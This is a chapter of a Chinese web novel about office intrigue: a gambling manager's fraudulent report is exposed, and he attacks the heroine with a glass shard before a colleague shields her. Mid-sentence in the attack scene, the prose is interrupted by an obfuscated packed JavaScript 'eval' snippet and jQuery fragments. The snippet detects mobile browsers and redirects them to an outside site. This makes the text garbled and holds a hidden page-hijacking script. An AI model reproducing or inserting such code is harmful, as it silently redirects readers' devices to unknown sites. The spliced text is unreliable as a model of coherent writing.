靳云开收到顾妤知发给他的报告之后大概看了一眼,他的反应和顾妤知是一样的。
一个人被逼急了什么事都做得出来,尤其是这个人还是个赌徒。
早在靳云开被扔在基层自生自灭的时候,他就注意到了这个冯经理,这人虽然是公司的老员工,但一向见风使舵、趋炎附势,要不是他手里帮董事长那帮人做了脏活,根本不会被留用到今天。
等靳云开慢慢爬上管理层,在技术部门有了自己人,他通过内部追踪,发现这个人竟然会用公司的电脑,在上班期间赌博。
如果是寻常员工,靳云开当天就会把人开除。但是他没有这么做,他隐忍不发,耐着性子等到这颗雷自己爆掉。
果然,再遇见顾妤知没多久,这颗雷自己就炸了,并且董事长那一帮人也放弃了他。
不然他不会走投无路想到自己做空壳公司来套现这种事,还做得全是破绽。
如果换作是他,他也会借着这个由头把冯甩掉,知道太多秘密的人都短命。
像这样的人,靳氏几乎每一个部门都有,如果再不处理,靳氏这家公司迟早有一天会被这些蛀虫侵蚀得只剩下一具空壳。
靳云开莫名想到了顾妤知。
冯经理是咎由自取,除掉冯这件事顾妤知做得很利落,像这样的人,不继续用下去实在是可惜。
他已经下定决心,不管用什么方法,钱也好权力也好,甚至牺牲色相他也无所谓,他一定要把顾妤知牢牢绑在身边。
或许将来有一天,顾妤知能帮他一个大忙。
靳云开关掉报告,吩咐站在一旁的陈秘:“告诉风控的人,不要把报告打回去,直接往上送,让投决会的人否掉。”
陈秘:“是,”
“那投决会,您要出面吗?”
靳云开冷哼一声,说:“如果这么多漏洞百出的报告都能过,投决会那帮人都可以滚蛋了。”
“我的人不会让它过,董事长的人更不会。”
“你去多叫几个保安,跟我去投资部。”
陈秘:“靳总,您……?”
靳云开从接近两米长的黑木办公桌上站起身,快步朝门外走。
“我得去看看我那位亲爱的员工,要是有些气急败坏的人不小心伤了她,我会心疼的。”
陈秘:“是,我立刻去安排。”
“不过……”
靳云开停下了脚步,回头看他,“怎么了?”
陈秘:“刚刚前台发来消息,说董事长……已经在楼下了。”
“噢?”靳云开笑了,“那我们就要快点,我可不想错过这场好戏。”
*
顾妤知发完报告,悬着的心还是没有放下,靳云开刚刚也给她发了消息,告诉她这份报告不可能通过,冯经理知道消息后一定会恼羞成怒,让她注意安全,自己正在往她那一层过去。
这些她当然知道。
快到午休时间,大部分的员工开始吃午饭,但顾妤知这个角落里,她、夏桃、纪文三个人谁都没有动作。
夏桃不知道顾妤知在做什么,但是潜意识告诉她,还是听顾妤知的比较好,小心点总没错。
而纪文,从始至终的注意力全都在顾妤知身上。
他觉得自己那天已经很诚恳了,他不明白为什么顾妤知还是不信任他。
为什么,为什么?他又要被抛弃了吗?
他的两只手的大拇指被他撕得全都是血痕。
纪文想了很久,决定等这件事过后,把自己知道的所有东西全都告诉她。
顾妤知是这个世界上除了他妈妈以外唯一保护过他、关心他的人。
他不会离开她的,他要永远陪在顾妤知身边,不管是以什么样的身份,他不想再一次被抛下了。
坐在中间的顾妤知全然不知两人的心思,她的眼睛一直盯着冯经理的办公室。
纪文看了眼时间,已经快一点钟,他挪着椅子靠近顾妤知,声音小小的,扯了扯顾妤知的袖子。
“姐姐,我们去吃饭吧?”
顾妤知连眼神都没挪一下,嘴里应付道:“我不饿,你们先去。”
另一边的夏桃听见两人的对话,也觉得再等下去有点浪费午休时间,和纪文一起劝她。
“对呀妤知,纪文说得没错,都快一点了。”
顾妤知还是摇摇头。
风控和投决会上一定有董事长的人,既然靳云开说那份有问题的报告会被拦下来,那么冯经理就一定会有所动作,他一定会发现是她没经过他的手私下将报告发出去的。
就在三个人僵持不下的时候,一整个上午都没被打开过的经理办公室的门,被人从里面一个大力重重地打开,摔在玻璃上——砰!
一声巨响,玻璃门被摔得四分五裂,地面上全是散落的碎块,这一整层所有的员工都被吓了一大跳,所有人的注意力都望向了这边。
冯经理整颗头都是红色的,细小的双眼瞪得前所未有的大,像一只被划了两刀的熟过头的西红柿。
“顾妤知!你、你竟然敢……”
“你竟然敢越过我,把那份报告直接发给了风投!”
“要不是我把你留在我的组,你能再这上班?!”
“我的钱……我的钱……我的钱!!!”
顾妤知被玻璃的碎裂声吓了一跳,她深呼吸,把夏桃和纪文拉到角落,把两人护在身后,声音前所未有的冷静。
“冯经理,我只是按流程办事。”
“可你竟然一点数据都不改,那些资料漏洞这么多,是个人都能看出这些东西是假的,顾妤知,你害死我了!!”
顾妤知把身后的两人护得更紧,继续说:“没有人要害你,是你自寻死路。”
“自寻死路……我自寻死路?”
冯经理吼完,肥大的胸腔上下起伏,他的脚踩在玻璃碎片上,咯吱咯吱响。
“怎么办……我还不上了……所有人都知道了……不会有人帮我了……怎么办……”
“我明明做了这么多,为什么你们不帮我,为什么……”
突然间,他猛地扭过头,恶狠狠地朝顾妤知的角落看去。
“都是你……都是你!都是你把我害成这样的!都是你!”
“我要杀了你,我要杀了你!!!”
冯经理从地下捡起一块玻璃碎片,猛地朝顾妤知三人的方向冲过,玻璃碎片的尖头直挺挺地对着顾妤知的腹部,发疯似的朝顾妤知冲过来!
这个时候站在顾妤知身后的纪文,不知道哪里来的力气把顾妤知往后一拉,自己再往前跨了一大步,变成他把顾妤知和夏桃护在了身后。
冯经理没来得及反应,手上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227542|197287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玻璃最后划到了纪文的手臂上,留下一道长长的血痕,溅出来的血飞到了顾妤知白色的衬衫上。
“姐姐小心!”
“纪文!!!”
冯经理也懵了,他怎么也没想到纪文会冲出来!
顾妤知趁他发愣的时间抬起腿狠狠往他肚子上一踹,冯经理两百斤的身子摔在了地板上,手里沾了血的玻璃碎在了地上。
整层楼一时间陷入了混乱,围观的人报警的报警,尖叫的尖叫,逃走的逃走。顾妤知赶紧去看纪文的伤,旁边的夏桃已经吓得愣住了,一点反应都没有。
纪文坐在地上,嘴唇毫无血色整张脸也白得吓人,眉心紧紧皱着。他的衬衫被划烂了,血液从骇人的伤口里渗出,沿着他白皙的手臂一滴滴落在地面上。
在顾妤知朝他走来时,他的眼里瞬间蓄满了泪水。
“纪文,纪文?”
顾妤知蹲下身子扶着纪文,让他靠在自己身上,腾出手查看他的伤口。
那是一道将近十厘米长的伤口,不深,但看着非常吓人。
“纪文,你忍一忍,我送你去医院!”
纪文靠在顾妤知身上,一个扭身,把头埋进了顾妤知的怀里。
“姐姐,好疼。”
顾妤知单手扶着纪文的受伤的手,一边轻拍着他的背,“我们去医院,去医院就不疼了,再忍一下!”
她是真的有点害怕和担心,这个伤口这么长,纪文一定很疼的。
等靳云开和警察保安医护人员等一行人赶到的时候,他看到的就是纪文流着血白着脸躺在顾妤知怀里,冯经理则呆呆坐在地上,一点反应都没有,像是被冻住了。
冯经理被警方带走了,他在公司故意伤人,不管他之前是谁的人,现在他肯定不能继续留在公司了。
靳云开瞧着纪文缩在顾妤知怀里,还让她身上沾了血,心里不知怎的升起一股烦躁,赶紧让医护人员把纪文抬走。
纪文被顾妤知扶起来,在医护人员准备架着他往在走的时候,纪文却拉住了顾妤知的手。
“姐姐……不陪我吗?”
靳云开一听阴了脸,朝顾妤知使了使眼色。
顾妤知本以为这件事在冯经理被警察带走后就结束了,可在她横在靳云开和纪文中间的时候,在几人的后方,又来了一行人。
为首的是一个中年男人,头发掺了一点白,一身灰色的中山装,非常的儒雅,身后跟着一群穿着黑衣脸带墨镜的保镖。
围观的员工里不知是谁说了一句:“董事长怎么来了?”
“天啊,连董事长都惊动了??”
顾妤知心里一惊,董事长?
她再看向靳云开和纪文,靳云开的脸色变得更黑了,纪文则依旧拉着她的手,神情和先前没区别,甚至更多了些委屈。
所有的事情在顾妤知的脑子里快速过了一遍,董事长来了,就说明这些事他肯定全都知道了,包括她越过冯经理提交报告这件事,现在离开肯定不妥。
不行,她得留在这!
顾妤知挣脱开纪文的手,轻拍着安慰他:“纪文,你先去,等下我再去看你,这里还有些事情需要我,”
“你乖乖的,先去医院,好吗?”
“姐姐,你真的会来吗?”
“会,我说过我不会食言,我一定会来看你。”